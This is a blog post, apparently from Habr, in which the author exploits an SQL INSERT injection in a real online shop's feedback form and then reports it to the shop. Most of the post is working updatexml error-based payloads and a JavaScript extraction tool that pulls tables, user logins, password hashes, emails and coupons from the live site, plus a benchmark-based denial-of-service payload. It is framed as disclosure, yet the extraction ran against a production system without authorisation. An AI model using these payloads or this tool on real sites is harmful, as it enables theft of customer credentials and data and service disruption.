SQL Insert Injection в одном интернет магазине

от автора


Давно на Хабре не звучали истории про SQL injection. А уж рассказов из жизни про SQL INSERT injection вообще очень мало. Поэтому расскажу свою.

Лирическое вступление

Лирическое вступление

Всё началось с моего желания купить себе нечто недешёвое в разборном виде в интернет-магазине A.B.ru фирмы B. После оформления, связи с менеджером по электронной почте, получения посылки и обзора её содержимого оказалось, что некоторых метизов очень не хватает. Полного перечня всего необходимого не было, лишь список болтов, гаек и шайб. Я начал сборку, дойдя до того места, где без отсутствующих болтов уже никак не обойтись. Поэтому мною было скурпулёзно составлено описание не найденных метизов и выслано электронным письмом той же девушке-менеджеру, с которой мы общались. К чести магазина стоит сказать, что практически всё необходимое было выслано второй посылкой. Поэтому я начал сборку, загоняя в дальний угол своего разума опасения о том, что может отсутствовать что-то ещё. Но, дойдя до финишной прямой, оказалось, что примерно 1/4-ой часть устройства не хватает в принципе, судя по фотографиям из руководства и здравому смыслу. Поэтому за первым письмом о недокомплекте последовало второе, куда более обширное, а сборка отложена.
Когда прошла вторая неделя ожидания, мне удалось убедить себя в том, что девушка-менеджер вышла в отпуск. Поэтому я переслал ей письмо двухнедельной давности ещё раз и перешёл к поиску других каналов электронной связи — очень уж не хотелось звонить в Москву. В первую очередь тоже самое письмо было отправлено на общий эл-адрес A@B.ru, на что был получен мгновенный ответ: почтовый сервер отказывается принимать письмо из-за переполненного ящика получателя <мужик>@B.ru. Тогда была найдена форма обратной связи на сайте — последняя ниточка соединяющая меня на текущий момент с интернет-магазином. В первую очередь я описал проблему переполненного почтового ящика и вставил сообщение об отказе доставить письмо, которое содержало в себе одинарные кавычки…

Начало

На попытку отправить отчёт об ошибке через форму обратной связи, на пару секунд на странице появилась ошибка, в которой угадывался голос MySQL. Поэтому я открыл консоль браузера, повторил запрос и заглянул в ответ сервера:

Error displaying the error page: Application Instantiation Error: You have an error in your SQL syntax; at line 1 SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0',  '1', '0', '2015-08-04 11:36:37', '', 'Max', '<мой адрес>@gmail.com', '', 'текст, в котором упоминается адрес '<мужика>@B.ru' прямо в одинарных кавычках.', '', '2015-08-04 11:36:37', '0000-00-00 00:00:00', '0'); 

Итак, найдена SQL insert injection в интернет-магазине, которому я отдал свои кровные.
В первую очередь, я нашёл пару достойных материалов по теме. Самый интересный из них SQL Injection in Insert, Update and Delete Statements (Osanda Malith Jayathissa). Благодаря ему, взгляд упал на функцию updatexml, которая появилась в MySQL 5.1 (т.е. если не сработает, то можно будет сделать соответствующий вывод:

UpdateXML(xml_target, xpath_expr, new_xml)

Смысл использования функции в том, чтобы создать заранее неверный XPath Expression (второй аргумент). Для этого Osanda предлагает делать конкатенацию с символом "~". Что ж, проверяем в локальном MySQL:

mysql> select updatexml(1, '123', 0) from dual; +------------------------+ | updatexml(1, '123', 0) | +------------------------+ | NULL                   | +------------------------+ 1 row in set (0,00 sec) mysql> select updatexml(1, '~123', 0) from dual; ERROR 1105 (HY000): XPATH syntax error: '~123' 

Да, работает. Теперь формируем тело сообщения для нашего магазина. Первый получившийся запрос выглядел так:

message' or updatexml(1,concat(0x7e,(version())),0) or '', '0000-00-00 00:00:00', '0000-00-00 00:00:00', '1');--' 

Потом я немного подумал, и сократил его до:

' or updatexml(1,concat(0x7e,(version())),0) or ' 

Ответ интернет-магазина:

Error displaying the error page: Application Instantiation Error: XPATH syntax error: '~5.5.41-MariaDB-log' SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0',  '1', '0', '2015-08-04 12:39:12', '', 'Ken', 'ken@mailinator.com', '', '' or updatexml(1,concat(0x7e,(version())),0) or '', '', '2015-08-04 12:39:12', '0000-00-00 00:00:00', '0'); 

Сработало! Всё крутится на MariaDB 5.5. Отличия от MySQL минимальны, версия 5.5 поддерживает множество полезных операторов и функций. Пройдясь по типичным для подобных ситуаций данным, я вытащил следующую информацию:

version: 5.5.41-MariaDB-log hostname: db-www user: A@A.B.ru database: A 

Теперь можно попробовать выполнение полноценных SQL-запросов. В первую очередь, ради интереса, я написать такой:

' or updatexml(0, concat(0x7e,(SELECT password FROM mysql.user WHERE user='root')), 0) or ' 

Но, разумеется, получил отказ:

Error displaying the error page: Application Instantiation Error: SELECT command denied to user 'A'@'A.B.ru' for table 'user' SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0',  '1', '0', '2015-08-04 14:27:21', '', 'Ken', 'ken@mailinator.com', '', '' or updatexml(0, concat(0x7e,(SELECT password FROM mysql.user WHERE user='root')), 0) or '', '', '2015-08-04 14:27:21', '0000-00-00 00:00:00', '0'); 

Теперь нужно получить список таблиц в текущей БД. Для этого используем доступную с MySQL 5.0 мета-таблицу information_schema:

' or updatexml(0, concat(0x7e,(SELECT concat(table_schema, ':', table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 0, 1)), 0) or ' 

Меняя первый параметр в операторе LIMIT, можно перебрать все текущие таблицы. Меня хватило на

первые 20 штук

    aa:cart     aa:category     aa:includes     aa:items     aa:layout     aa:menu     aa:aabb_ak_profiles     aa:aabb_ak_stats     aa:aabb_ak_storage     aa:aabb_assets     aa:aabb_associations     aa:aabb_banner_clients     aa:aabb_banner_tracks     aa:aabb_banners     aa:aabb_categories     aa:aabb_com_feedback     aa:aabb_com_photo_votes     aa:aabb_com_photo_votes_comment     aa:aabb_com_photo_votes_likes     aa:aabb_com_wishlist 

Решаю автоматизировать. Речь идёт об AJAX POST-запросе и на сайте включён jQuery. Нам нужно отправлять сразу несколько запросов — это асинхронная работа, так что я решил сразу подгрузить библиотеку async и попробовать с её помощью получить желаемый список таблиц. Получилась

не очень изящная функция создания и отсылки множества одновременных запросов

$.getScript('https://raw.githubusercontent.com/caolan/async/master/lib/async.js');  (function() {     var ans_start = " '~", // Начало полезной информации в ответе сервера         ans_stop = "' SQL=", // Конец полезной информации         lim = 20,         start_from = 0;          // Куча одновременных AJAX-запросов     async.times(lim, function(i, next) {         var injection = "' or updatexml(0, concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit "+ (start_from + i) +", 1)), 0) or '";         $.ajax({             url: '/cli/feedback.php',             method: 'POST',             data: $.param({                 data_email: 'undefined',                 data_email_body: 'undefined',                 data_email_subject: 'Обратная связь - A B',                 type: 'feedback',                 name: 'Test',                 mail: 'test@mailinator.com',                 phone: '',                 feedbacktext: injection,                 else: '',                 recipient: 'A@B.ru',                 btn: ''             }),             success: function(resp) {                 next(null, resp.substring(resp.indexOf(ans_start) + ans_start.length, resp.indexOf(ans_stop)));             },             error: function(jqXHR, textStatus) {                 next(textStatus);             }         });     }, function(err, results) {         // Все результаты в конце одним скопом         if (err) return console.error(err);         window.INJ_RESULTS = results; // Опытным путём установил, что из консоли браузера не всегда удобно копировать данные, поэтому лучше привязать их к какой-нибудь глобальной переменной для пост-обработки         console.log(results.join('\n')); // Вывод одной строкой во избежание проблем с копированием     }); })(); 

Таким образом я получил список первых 20 таблиц, но понял, что одновременно посылать множество запросов нехорошо (на последние из них сервер отвечал в течении 20 секунд). Решил, что не стоит угрожать стабильности работы магазина и поменял функцию async.times на async.timesSeries, чтобы каждый следующий запрос отправлялся после получения ответа на предыдущий. Поменял параметр lim с 20 на 200 и ушёл за чашечкой чая. А когда вернулся, в моём распоряжении был

список всех таблиц

aa:cart aa:category <...> aa:aabb_finder_links aa:aabb_finder_links_terms0 aa:aabb_finder_links_terms1 <...> aa:aabb_jcomments_votes aa:aabb_jsecurelog aa:aabb_jshopping_addons <...> aa:aabb_jshopping_coupons <...> aa:aabb_jshopping_shipping_meth <...> aa:aabb_jshopping_usergroups aa:aabb_jshopping_users <...> aa:aabb_usergroups aa:aabb_users aa:aabb_viewlevels aa:aabb_weblinks aa:aabb_wf_profiles aa:aabb_xmap_items aa:aabb_xmap_sitemap aa:modules aa:orders aa:oshibka aa:params aa:reviews aa:slideshow aa:users 

Из этого списка стало понятно два факта: стоит Joomla и объем полезной информации ограничен 32-мя символов. Причём первых из них ("~") убрать мы не можем, значит у нас всего 31 символ. Что ж, не так уж мало. Было много интересных таблиц (3 таблицы *users и aabb_jshopping_coupons). Сначала я исследовал структуру таблицы users, модифицируя переменную injection:

' or updatexml(0, concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)), 0) or ' 

id, login, password, email, tel, name, firma, active, date, role 

Потом её содержимое с помощью функции CONCAT_WS:

' or updatexml(0, concat(0x7e,(SELECT CONCAT_WS(':',id,login,password) FROM users LIMIT 0,1)), 0) or ' 

Но каждая запись получалась длинной ровно в 31 символ из-за избытка информации, поэтому сначала нужно было преодолеть это ограничение. Для этого я решил воспользоваться функцией SUBSTRING, а получение новой порции данных реализовать через рекурсию. В итоге получился

вот такой конструктор запросов `ajax93t411`.

$.getScript('https://raw.githubusercontent.com/caolan/async/master/lib/async.js');  // Константы, чтобы потом легче было var ANS_START = " '~",     ANS_STOP = "' SQL=",     ANS_ERR = "Er",     ANS_LIM = 31;  // Основная функция // start_from и lim для путешествия по строчкам таблицы // construct_req - функция, возвращающая строку с запросом function ajax93t411(start_from, lim, construct_req) {     // значения по умолчанию ня всякий случай     start_from = start_from || 0;     lim = lim || 1;      // Запрос к серверу. i, offset - просто передаются в construct_req     function req(i, offset, callback) {         $.ajax({             url: '/cli/feedback.php',             method: 'POST',             data: $.param({                 data_email: 'undefined',                 data_email_body: 'undefined',                 data_email_subject: 'Обратная связь - A B',                 type: 'feedback',                 name: 'Test',                 mail: 'test@mailinator.com',                 phone: '',                 feedbacktext: construct_req(start_from, i, offset),                 else: '',                 recipient: 'A@B.ru',                 btn: ''             }),             success: function(resp) {                 callback(null, resp.substring(resp.indexOf(ANS_START) + ANS_START.length, resp.indexOf(ANS_STOP)));             },             error: function(jqXHR, textStatus) {                 callback(textStatus);             }         });     }      // Если длина ответа получается равна 31, то делаем смещение и     // ещё один запрос, суммируя результаты     function constructReq(i, full_answer, offset, next) {         req(i, offset, function(err, answer) {             if (err) return next(err, full_answer);              full_answer += answer;             if (answer.length == ANS_LIM) {                 constructReq(i, full_answer, offset + ANS_LIM, next);             } else {                 next(null, full_answer);             }         });     }          // Путешествуем по заданному количеству строк таблицы     async.timesSeries(lim, function(i, next) {         constructReq(i, '', 1, next);     }, function(err, results) {         if (err) return console.error(err);         window.INJ_RESULTS = results;         console.log(results.join(', '));     }); } 

По такому алгоритму данные будут вытягиваться ещё дольше, зато целиком и полностью. Теперь можно создавать сами запросы отдельно от общей логики:

function inj(start_from, i, offset) {     return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',id,login,password,email), "+ offset +", "+ ANS_LIM +") FROM users LIMIT "+ (start_from + i) +",1)), 0) or '" } ajax93t411(0, 30, inj) 

И первые 30 строк таблицы users в консоли браузера.

function inj(start_from, i, offset) {     return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',username,email,password), "+ offset +", "+ ANS_LIM +") FROM aabb_users LIMIT "+ (start_from + i) +",1)), 0) or '" }  ajax93t411(0, 30, inj) 

Далее опишу лишь наиболее интересные моменты.
Купоны, в т.ч. для Хабра и Гиктаймс, оказались просроченными. Да и свою игрушку я уже купил.

function inj(start_from, i, offset) {     return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',coupon_code,coupon_value,coupon_start_date,coupon_expire_date), "+ offset +", "+ ANS_LIM +") FROM aabb_jshopping_coupons LIMIT "+ (start_from + i) +",1)), 0) or '" }  ajax93t411(0, 30, inj) 

Все таблицы в полную длину для всех доступных баз данных:

function inj(start_from, i, offset) {     return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':', table_schema, table_name), "+ offset +", "+ ANS_LIM +") FROM information_schema.tables LIMIT "+ (start_from + i) +", 1)), 0) or '" }  ajax93t411(62, 100, inj); // Первые 62 - это сама information_schema ajax93t411(162, 100, inj); 

Как оказалось, не только интернет-магазин A.B.ru работает на Joomla, но и такой же магазин B.ru на ней же и на том же сервере. Но перспектив от исследования ещё одного сайта я не увидел. В конце концов, моей целью не было получение наживы. Поэтому я решил, что читать данные хорошо, но…

Можно ли что-нибудь записать?

Как оказалось, нет. Так как нам доступны только подзапросы. Решил, что стоит всё же попробовать работу с файлами. Но чтобы не навредить интернет-магазину своими неосторожными действиями, перенесу повествование на собственную машину, где провёл

некоторые опыты

Создаём простейшую таблицу:

mysql> create database test; Query OK, 1 row affected (0,06 sec)  mysql> create table t(id int, msg text); Query OK, 0 rows affected (0,70 sec)  mysql> insert into t values (1, 'msg'); Query OK, 1 row affected (0,06 sec)  mysql> select * from t; +------+------+ | id   | msg  | +------+------+ |    1 | msg  | +------+------+ 1 row in set (0,00 sec) 

Попробуем имитировать SQL insert injection:

mysql> insert into t values (1, '' or updatexml(1, concat('~', version()), 0) or ''); ERROR 1105 (HY000): XPATH syntax error: '~5.6.25-0ubuntu0.15.04.1'  mysql> insert into t values (1, '' or updatexml(1, concat('~', '1234567890123456789012345678901234567890'), 0) or ''); ERROR 1105 (HY000): XPATH syntax error: '~1234567890123456789012345678901' 

То же самое ограничение в 32 символа.

Попробуем вывод в файл:

mysql> select 1 from dual into outfile 'test.txt'; Query OK, 1 row affected (0,00 sec)  $ sudo ls -la /var/lib/mysql/test/ итого 124 drwx------  2 mysql mysql  4096 авг.  11 18:07 . drwx------ 12 mysql mysql  4096 авг.  11 17:50 .. -rw-rw----  1 mysql mysql    65 авг.  11 17:50 db.opt -rw-rw-rw-  1 mysql mysql     2 авг.  11 18:07 test.txt -rw-rw----  1 mysql mysql  8584 авг.  11 17:52 t.frm -rw-rw----  1 mysql mysql 98304 авг.  11 17:52 t.ibd  mysql> insert into t values (1, '' or updatexml(1, concat('~', (select 1 from dual into outfile 'test.txt')), 0) or ''); ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'into outfile 'test.txt')), 0) or '')' at line 1 

Ожидаемо, но проверить стоило. Попробуем чтение файла. Так оно выглядит в нормальном виде:

mysql> LOAD DATA INFILE 'test.txt' into table t; Query OK, 1 row affected, 1 warning (0,08 sec) Records: 1  Deleted: 0  Skipped: 0  Warnings: 1  mysql> select * from t; +------+------+ | id   | msg  | +------+------+ |    1 | msg  | |    1 | NULL | +------+------+ 2 rows in set (0,00 sec) 

Но внутри INSERT INTO тоже не работает:

mysql> insert into t values (1, '' or updatexml(1, concat('~', (LOAD DATA INFILE 'test.txt' into table t)), 0) or ''); ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'LOAD DATA INFILE 'test.txt' into table t)), 0) or '')' at line 1 mysql> insert into t values (1, '' or updatexml(1, concat('~', (LOAD DATA INFILE 'test.txt')), 0) or ''); ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'LOAD DATA INFILE 'test.txt')), 0) or '')' at line 1 

В любом случае, применительно к интернет-магазину, полные пути к сайту мне неизвестны, чтобы, например, создать PHP Shell.

Написал в интернет-магазин

Письмо

Здравствуйте.

Случайно обнаружил ошибку на вашем сайте.
Страница A.B.ru/info/about, форма обратной связи.
Если заполнить имя и e-mail, а в теле сообщения использовать символ одинарной кавычки (‘), то после нажатия на «Отправить» на экране на некоторое время будет выведена ошибка от используемой СУБД. Если вчитаться и откорректировать текст сообщения, то можно получить любую хранящуюся в БД информацию.

Предлагаю как можно скорее исправить ошибку, проверить все написанные программистом модули/страницы на наличие подобных проблем и закрыть данный источник проблем.

Получил

ответ

Добрый день, Максим.

Спасибо за Ваше замечание, учтём

С уважением,
A B

Подумав, отправил

ещё одно письмо

Если не возражаете, я бы описал свой «спортивный интерес» в статье без ссылок прямых и косвенных на сайт и фирму, разумеется. Сообщите пожалуйста, когда проблема будет исправлена, на всякий случай.

День следующий

Ответа на второе письмо нет. Ну и ладно. Ровно через сутки зашёл на ту же страницу с формой обратной связи. Теперь в поле ввода фильтруются все спец. символы, разумеется, на стороне клиента. Что ж, молодцы, остаётся надеяться, что это просто заплатка на время исправления реальных ошибок. А пока решил продолжить исследования — хочется разобраться до конца.

Как оказалось, полезная часть текста об ошибке в ответе от MariaDB не всегда 32 символа. При попытке получить текст на русском получается выудить лишь 16 символов. Проверил на MySQL — то же самое. Значит, ограничение не в 32 символа, а в 32 байта. Что ж, переделал утилиту ajax93t411:

ajax93t411.js

var ANS_START = " '~",     ANS_STOP = "' SQL=",     ANS_LIM = 31;  function ajax93t411(start_from, lim, construct_req) {     start_from = start_from || 0;     lim = lim || 1; // Can be -1. -1 if for "while no Err"      function req(i, offset, callback) {         $.ajax({              //-- All this params is for customization. Feel free             url: '/cli/feedback.php',             method: 'POST',             data: $.param({                 data_email: 'undefined',                 data_email_body: 'undefined',                 data_email_subject: 'Обратная связь - A B',                 type: 'feedback',                 name: 'Test',                 mail: 'test@mailinator.com',                 phone: '',                 feedbacktext: construct_req(start_from, i, offset), // Don't forget about this function to include                 else: '',                 recipient: 'A@B.ru',                 btn: ''             }             //---             ),             success: function(resp) {                 var answer = resp.substring(resp.indexOf(ANS_START) + ANS_START.length, resp.indexOf(ANS_STOP));                 if (answer == ANS_ERR) {                     callback(answer);                 } else {                     callback(null, answer);                 }             },             error: function(jqXHR, textStatus) {                 callback(textStatus);             }         });     }      function constructReq(i, full_answer, offset, next) {         req(i, offset, function(err, answer) {             if (err) return next(err, full_answer);              full_answer += answer;             if (answer.length > 0) {                 constructReq(i, full_answer, offset + answer.length, next);             } else {                 $('body').append('<p>'+ full_answer +'</p>'); // Include each new result into webpage of target site. Just for usability.                 next(null, full_answer);             }         });     }      function timesSeries(lim, i, results, callback) {         if (i < lim) {             constructReq(i, '', 1, function(err, answer) {                 if (err) return callback(err, results);                 results.push(answer);                 timesSeries(lim, i + 1, results, callback);             });         } else {             callback(null, results);         }     }      function untilErrSeries(i, results, callback) {         constructReq(i, '', 1, function(err, answer) {             if (err) return callback(err, results);             results.push(answer);             untilErrSeries(i + 1, results, callback);         });     }      function complete(err, results) {         if (err) console.error(err);         window.INJ_RESULTS = results; // Keep all results into the global variable. Just for usability.         console.log('Done');     }      $('body').append('<p><b>New Request!</b></p>');     if (lim > 0) {         timesSeries(lim, 0, [], complete);     } else { // lim < 0         untilErrSeries(0, [], complete);     } } 

Теперь программа не зависит от константной длины, а продолжает искать конец строки, пока не будет возвращена ошибка (т.е. ответ с текстом ошибки не в том формате, в котором программа его ожидает). Да, чуть больше запросов. Зато нет проблемы с текстами в не latin кодировках. Кроме того, избавился от зависимости от библиотеки async (она присутствовала для скорости разработки и апробирования результатов). А так же добавил возможность не задавать конкретное количество строк в таблице, которые нужно получить, а рекурсивно получать все доступные (до ошибки). А так же добавил вывод результатов работы прямо на страницу сайта, чтобы легче было просматривать.

Возможны ли ужасные последствия такой уязвимости?

Как мы уже выяснили, записать что-то в файл или читать из него не получится даже если у пользователя есть на то права. Зато у нас в кармане таблицы с паролями и эл. адресами всех пользователей и администраторов. Лично я подбирать их и входить на сайт даже не пытался — мне это ни к чему. Тем не менее, можно констатировать факт возможности чтения любой информации из текущей базы данных, а в нашем случае и из соседней.
Другая открываемая подобной уязвимость возможность — это атака DoS, например, вот такой подстановкой:

' or updatexml(0, concat(0x7e,(select benchmark(10000000000000000000000000000000000000000000000, encode('hello', 'world')))), 0) or ' 

Через неделю

Решил написать

ещё одно письмо

Добрый день.

Вы же понимаете, что текущая заплатка не устраняет уязвимости?

Ответа как и раньше не последовало.

P.S.: Статья опубликована через 13 дней с момента обнаружения уязвимости. Представители интернет-магазина на связь не выходят.

ссылка на оригинал статьи http://habrahabr.ru/post/264579/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *